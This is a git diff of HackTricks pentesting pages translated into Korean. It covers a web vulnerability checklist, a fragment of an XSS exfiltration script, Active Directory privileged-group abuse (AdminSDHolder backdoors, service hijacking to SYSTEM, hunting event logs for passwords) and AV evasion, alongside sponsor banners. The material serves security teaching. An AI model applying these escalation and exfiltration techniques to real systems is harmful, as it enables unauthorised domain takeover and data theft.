{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -218,8 +222,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,20 +10,29 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
모든 웹 펜테스트에서 **취약할 수 있는 여러 숨겨진 장소와 명백한 장소가 존재합니다**. 이 게시물은 가능한 모든 장소에서 취약점을 검색했는지 확인하기 위한 체크리스트입니다.
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
모든 웹 펜테스트에는 **취약할 수 있는 여러 숨겨진 장소와 명백한 장소가 있습니다**. 이 게시물은 가능한 모든 장소에서 취약점을 검색했는지 확인하기 위한 체크리스트입니다.
|
||||
|
||||
## 프록시
|
||||
|
||||
{% hint style="info" %}
|
||||
요즘 **웹** **애플리케이션**은 보통 **중개** **프록시**를 사용하며, 이는 취약점을 악용하는 데 (남용)될 수 있습니다. 이러한 취약점은 취약한 프록시가 필요하지만, 일반적으로 백엔드에서 추가적인 취약점도 필요합니다.
|
||||
요즘 **웹** **애플리케이션**은 일반적으로 어떤 종류의 **중개** **프록시**를 사용하며, 이는 취약점을 악용하는 데 (악용)될 수 있습니다. 이러한 취약점은 취약한 프록시가 필요하지만, 일반적으로 백엔드에서 추가적인 취약점도 필요합니다.
|
||||
{% endhint %}
|
||||
|
||||
* [ ] [**Hop-by-hop 헤더 남용**](abusing-hop-by-hop-headers.md)
|
||||
* [ ] [**Hop-by-hop 헤더 악용**](abusing-hop-by-hop-headers.md)
|
||||
* [ ] [**캐시 오염/캐시 기만**](cache-deception/)
|
||||
* [ ] [**HTTP 요청 스머글링**](http-request-smuggling/)
|
||||
* [ ] [**H2C 스머글링**](h2c-smuggling.md)
|
||||
|
@ -36,7 +45,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
{% hint style="info" %}
|
||||
대부분의 웹 애플리케이션은 **사용자가 나중에 처리될 데이터를 입력할 수 있도록 허용합니다.**\
|
||||
서버가 기대하는 데이터 구조에 따라 일부 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
|
||||
데이터의 구조에 따라 서버가 기대하는 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### **반사된 값**
|
||||
|
@ -48,7 +57,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
* [ ] [**CRLF**](crlf-0d-0a.md)
|
||||
* [ ] [**덩글링 마크업**](dangling-markup-html-scriptless-injection/)
|
||||
* [ ] [**파일 포함/경로 탐색**](file-inclusion/)
|
||||
* [ ] [**열린 리다이렉트**](open-redirect.md)
|
||||
* [ ] [**열린 리디렉션**](open-redirect.md)
|
||||
* [ ] [**프로토타입 오염을 통한 XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* [ ] [**서버 측 포함/엣지 측 포함**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**서버 측 요청 위조**](ssrf-server-side-request-forgery/)
|
||||
|
@ -67,7 +76,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
### **검색 기능**
|
||||
|
||||
백엔드에서 어떤 데이터를 검색하는 데 사용될 수 있는 기능이 있다면, 이를 (남용)하여 임의의 데이터를 검색할 수 있습니다.
|
||||
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있다면, 이를 (악용)하여 임의의 데이터를 검색할 수 있습니다.
|
||||
|
||||
* [ ] [**파일 포함/경로 탐색**](file-inclusion/)
|
||||
* [ ] [**NoSQL 주입**](nosql-injection.md)
|
||||
|
@ -76,9 +85,9 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
* [ ] [**SQL 주입**](sql-injection/)
|
||||
* [ ] [**XPATH 주입**](xpath-injection.md)
|
||||
|
||||
### **폼, 웹소켓 및 PostMsgs**
|
||||
### **양식, 웹소켓 및 PostMsg**
|
||||
|
||||
웹소켓이 메시지를 게시하거나 사용자가 작업을 수행할 수 있도록 하는 폼이 있을 때 취약점이 발생할 수 있습니다.
|
||||
웹소켓이 메시지를 게시하거나 사용자가 작업을 수행할 수 있도록 하는 양식이 있을 때 취약점이 발생할 수 있습니다.
|
||||
|
||||
* [ ] [**교차 사이트 요청 위조**](csrf-cross-site-request-forgery.md)
|
||||
* [ ] [**교차 사이트 웹소켓 탈취 (CSWSH)**](websocket-attacks.md)
|
||||
|
@ -141,6 +150,16 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
* [ ] [**매개변수 오염**](parameter-pollution.md)
|
||||
* [ ] [**유니코드 정규화 취약점**](unicode-injection/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -151,7 +170,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,10 +8,14 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```javascript
|
||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
|
||||
|
@ -119,6 +123,10 @@ window.onmessage = function(e){
|
|||
exfil_info("onmessage", encode(e.data))
|
||||
}
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -129,7 +137,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,11 +15,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
## Well Known groups with administration privileges
|
||||
|
||||
* **Administrators**
|
||||
* **Domain Admins**
|
||||
* **Enterprise Admins**
|
||||
* **관리자**
|
||||
* **도메인 관리자**
|
||||
* **엔터프라이즈 관리자**
|
||||
|
||||
## Account Operators
|
||||
|
||||
|
@ -29,11 +36,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
```powershell
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
사용자 추가는 허용되며, DC01에 대한 로컬 로그인도 가능합니다.
|
||||
사용자 추가는 허용되며, DC01에 대한 로컬 로그인이 가능합니다.
|
||||
|
||||
## AdminSDHolder 그룹
|
||||
|
||||
**AdminSDHolder** 그룹의 접근 제어 목록(ACL)은 모든 "보호된 그룹"에 대한 권한을 설정하므로 매우 중요합니다. 여기에는 고급 권한 그룹이 포함됩니다. 이 메커니즘은 무단 수정을 방지하여 이러한 그룹의 보안을 보장합니다.
|
||||
**AdminSDHolder** 그룹의 접근 제어 목록(ACL)은 모든 "보호된 그룹"에 대한 권한을 설정하므로 매우 중요합니다. 여기에는 높은 권한 그룹이 포함됩니다. 이 메커니즘은 무단 수정을 방지하여 이러한 그룹의 보안을 보장합니다.
|
||||
|
||||
공격자는 **AdminSDHolder** 그룹의 ACL을 수정하여 표준 사용자에게 전체 권한을 부여함으로써 이를 악용할 수 있습니다. 이렇게 되면 해당 사용자는 모든 보호된 그룹에 대한 전체 제어 권한을 가지게 됩니다. 이 사용자의 권한이 변경되거나 제거되면, 시스템 설계로 인해 1시간 이내에 자동으로 복원됩니다.
|
||||
|
||||
|
@ -45,9 +52,9 @@ Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityRefer
|
|||
```
|
||||
복원 프로세스를 신속하게 진행할 수 있는 스크립트가 있습니다: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||
|
||||
자세한 내용은 [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)를 방문하세요.
|
||||
자세한 내용은 [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)을 방문하세요.
|
||||
|
||||
## AD 리사이클 빈
|
||||
## AD Recycle Bin
|
||||
|
||||
이 그룹의 구성원은 삭제된 Active Directory 객체를 읽을 수 있으며, 이는 민감한 정보를 드러낼 수 있습니다:
|
||||
```bash
|
||||
|
@ -63,11 +70,11 @@ Sysinternals의 `PsService` 또는 `sc`를 사용하여 서비스 권한을 검
|
|||
```cmd
|
||||
C:\> .\PsService.exe security AppReadiness
|
||||
```
|
||||
이 명령은 `Server Operators`가 전체 접근 권한을 가지고 있어 서비스 조작을 통해 상승된 권한을 부여할 수 있음을 보여줍니다.
|
||||
이 명령은 `Server Operators`가 전체 액세스 권한을 가지고 있어 서비스 조작을 통해 상승된 권한을 얻을 수 있음을 보여줍니다.
|
||||
|
||||
## Backup Operators
|
||||
|
||||
`Backup Operators` 그룹의 구성원 자격은 `SeBackup` 및 `SeRestore` 권한 덕분에 `DC01` 파일 시스템에 대한 접근을 제공합니다. 이러한 권한은 명시적인 권한 없이도 `FILE_FLAG_BACKUP_SEMANTICS` 플래그를 사용하여 폴더 탐색, 목록 작성 및 파일 복사 기능을 가능하게 합니다. 이 프로세스에는 특정 스크립트를 사용하는 것이 필요합니다.
|
||||
`Backup Operators` 그룹의 구성원 자격은 `SeBackup` 및 `SeRestore` 권한 덕분에 `DC01` 파일 시스템에 대한 액세스를 제공합니다. 이러한 권한은 명시적인 권한 없이도 `FILE_FLAG_BACKUP_SEMANTICS` 플래그를 사용하여 폴더 탐색, 목록 작성 및 파일 복사 기능을 가능하게 합니다. 이 프로세스에는 특정 스크립트를 사용하는 것이 필요합니다.
|
||||
|
||||
그룹 구성원을 나열하려면 다음을 실행하십시오:
|
||||
```powershell
|
||||
|
@ -179,10 +186,10 @@ sc.exe \\dc01 start dns
|
|||
For more details on this attack vector, refer to ired.team.
|
||||
|
||||
#### Mimilib.dll
|
||||
mimilib.dll을 사용하여 명령 실행을 위해 특정 명령이나 리버스 셸을 실행하도록 수정하는 것도 가능합니다. [이 게시물을 확인하세요](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) 더 많은 정보를 위해.
|
||||
mimilib.dll을 사용하여 명령 실행을 수행하는 것도 가능하며, 특정 명령이나 리버스 셸을 실행하도록 수정할 수 있습니다. [이 게시물](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)을 참조하여 더 많은 정보를 확인하세요.
|
||||
|
||||
### WPAD Record for MitM
|
||||
DnsAdmins는 글로벌 쿼리 차단 목록을 비활성화한 후 WPAD 레코드를 생성하여 Man-in-the-Middle (MitM) 공격을 수행하기 위해 DNS 레코드를 조작할 수 있습니다. Responder 또는 Inveigh와 같은 도구를 사용하여 네트워크 트래픽을 스푸핑하고 캡처할 수 있습니다.
|
||||
DnsAdmins는 전역 쿼리 차단 목록을 비활성화한 후 WPAD 레코드를 생성하여 Man-in-the-Middle (MitM) 공격을 수행하기 위해 DNS 레코드를 조작할 수 있습니다. Responder 또는 Inveigh와 같은 도구를 사용하여 네트워크 트래픽을 스푸핑하고 캡처할 수 있습니다.
|
||||
|
||||
### Event Log Readers
|
||||
구성원은 이벤트 로그에 접근할 수 있으며, 평문 비밀번호나 명령 실행 세부정보와 같은 민감한 정보를 찾을 수 있습니다:
|
||||
|
@ -198,34 +205,34 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
|
|||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||
```
|
||||
## Hyper-V Administrators
|
||||
Hyper-V 관리자는 Hyper-V에 대한 전체 액세스 권한을 가지며, 이를 통해 가상화된 도메인 컨트롤러를 제어할 수 있습니다. 여기에는 라이브 DC를 클론하고 NTDS.dit 파일에서 NTLM 해시를 추출하는 것이 포함됩니다.
|
||||
Hyper-V 관리자는 Hyper-V에 대한 전체 액세스 권한을 가지고 있으며, 이를 통해 가상화된 도메인 컨트롤러에 대한 제어를 얻을 수 있습니다. 여기에는 라이브 DC를 클론하고 NTDS.dit 파일에서 NTLM 해시를 추출하는 것이 포함됩니다.
|
||||
|
||||
### Exploitation Example
|
||||
Firefox의 Mozilla Maintenance Service는 Hyper-V 관리자가 SYSTEM으로 명령을 실행하는 데 악용될 수 있습니다. 이는 보호된 SYSTEM 파일에 대한 하드 링크를 생성하고 이를 악성 실행 파일로 교체하는 것을 포함합니다:
|
||||
Firefox의 Mozilla Maintenance Service는 Hyper-V 관리자가 SYSTEM으로 명령을 실행하는 데 악용될 수 있습니다. 여기에는 보호된 SYSTEM 파일에 대한 하드 링크를 생성하고 이를 악성 실행 파일로 교체하는 것이 포함됩니다:
|
||||
```bash
|
||||
# Take ownership and start the service
|
||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||
sc.exe start MozillaMaintenance
|
||||
```
|
||||
Note: 하드 링크 악용은 최근 Windows 업데이트에서 완화되었습니다.
|
||||
Note: Hard link exploitation has been mitigated in recent Windows updates.
|
||||
|
||||
## 조직 관리
|
||||
## Organization Management
|
||||
|
||||
**Microsoft Exchange**가 배포된 환경에서는 **조직 관리**라는 특별한 그룹이 중요한 권한을 가지고 있습니다. 이 그룹은 **모든 도메인 사용자의 메일박스에 접근할 수 있는 권한**을 가지며, **'Microsoft Exchange 보안 그룹'** 조직 단위(OU)에 대한 **전체 제어**를 유지합니다. 이 제어에는 권한 상승을 위해 악용될 수 있는 **`Exchange Windows Permissions`** 그룹이 포함됩니다.
|
||||
**Microsoft Exchange**가 배포된 환경에서는 **Organization Management**라는 특별한 그룹이 중요한 권한을 가지고 있습니다. 이 그룹은 **모든 도메인 사용자의 메일박스에 접근할 수 있는 권한**을 가지며, **'Microsoft Exchange Security Groups'** 조직 단위(OU)에 대한 **전체 제어**를 유지합니다. 이 제어에는 **`Exchange Windows Permissions`** 그룹이 포함되어 있으며, 이는 권한 상승을 위해 악용될 수 있습니다.
|
||||
|
||||
### 권한 악용 및 명령
|
||||
### Privilege Exploitation and Commands
|
||||
|
||||
#### 인쇄 운영자
|
||||
**인쇄 운영자** 그룹의 구성원은 **`SeLoadDriverPrivilege`**를 포함한 여러 권한을 부여받으며, 이를 통해 **도메인 컨트롤러에 로컬로 로그인**하고, 이를 종료하며, 프린터를 관리할 수 있습니다. 이러한 권한을 악용하기 위해서는, 특히 **`SeLoadDriverPrivilege`**가 낮은 권한의 컨텍스트에서 보이지 않는 경우, 사용자 계정 컨트롤(UAC)을 우회해야 합니다.
|
||||
#### Print Operators
|
||||
**Print Operators** 그룹의 구성원은 **`SeLoadDriverPrivilege`**를 포함한 여러 권한을 부여받으며, 이를 통해 **도메인 컨트롤러에 로컬로 로그인**하고, 이를 종료하며, 프린터를 관리할 수 있습니다. 이러한 권한을 악용하기 위해서는, 특히 **`SeLoadDriverPrivilege`**가 비승격된 컨텍스트에서 보이지 않는 경우, 사용자 계정 컨트롤(UAC)을 우회해야 합니다.
|
||||
|
||||
이 그룹의 구성원을 나열하기 위해 다음 PowerShell 명령이 사용됩니다:
|
||||
```powershell
|
||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||
```
|
||||
보다 자세한 **`SeLoadDriverPrivilege`** 관련 악용 기술은 특정 보안 리소스를 참조해야 합니다.
|
||||
더 자세한 **`SeLoadDriverPrivilege`** 관련 악용 기술에 대해서는 특정 보안 리소스를 참조해야 합니다.
|
||||
|
||||
#### 원격 데스크톱 사용자
|
||||
이 그룹의 구성원은 원격 데스크톱 프로토콜(RDP)을 통해 PC에 접근할 수 있습니다. 이러한 구성원을 열거하기 위해 PowerShell 명령을 사용할 수 있습니다:
|
||||
이 그룹의 구성원은 원격 데스크톱 프로토콜(RDP)을 통해 PC에 접근할 수 있습니다. 이러한 구성원을 나열하기 위해 PowerShell 명령을 사용할 수 있습니다:
|
||||
```powershell
|
||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||
|
@ -238,7 +245,7 @@ RDP를 악용하는 데 대한 추가 정보는 전용 pentesting 리소스에
|
|||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
```
|
||||
**WinRM**와 관련된 익스플로잇 기술에 대해서는 특정 문서를 참조해야 합니다.
|
||||
**WinRM**와 관련된 exploitation 기술에 대해서는 특정 문서를 참조해야 합니다.
|
||||
|
||||
#### 서버 운영자
|
||||
이 그룹은 도메인 컨트롤러에서 다양한 구성을 수행할 수 있는 권한을 가지고 있으며, 여기에는 백업 및 복원 권한, 시스템 시간 변경, 시스템 종료가 포함됩니다. 구성원을 나열하기 위해 제공된 명령은 다음과 같습니다:
|
||||
|
@ -262,17 +269,24 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
|||
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**이 페이지는** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**에 의해 작성되었습니다!**
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **AV 회피 방법론**
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
현재 AV는 파일이 악성인지 여부를 확인하기 위해 정적 탐지, 동적 분석 및 더 발전된 EDR의 경우 행동 분석과 같은 다양한 방법을 사용합니다.
|
||||
|
||||
|
@ -41,19 +47,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
Windows Defender의 정적 탐지를 확인하는 좋은 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나눈 다음 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 이진 파일에서 플래그가 지정된 문자열이나 바이트를 정확히 알 수 있습니다.
|
||||
{% endhint %}
|
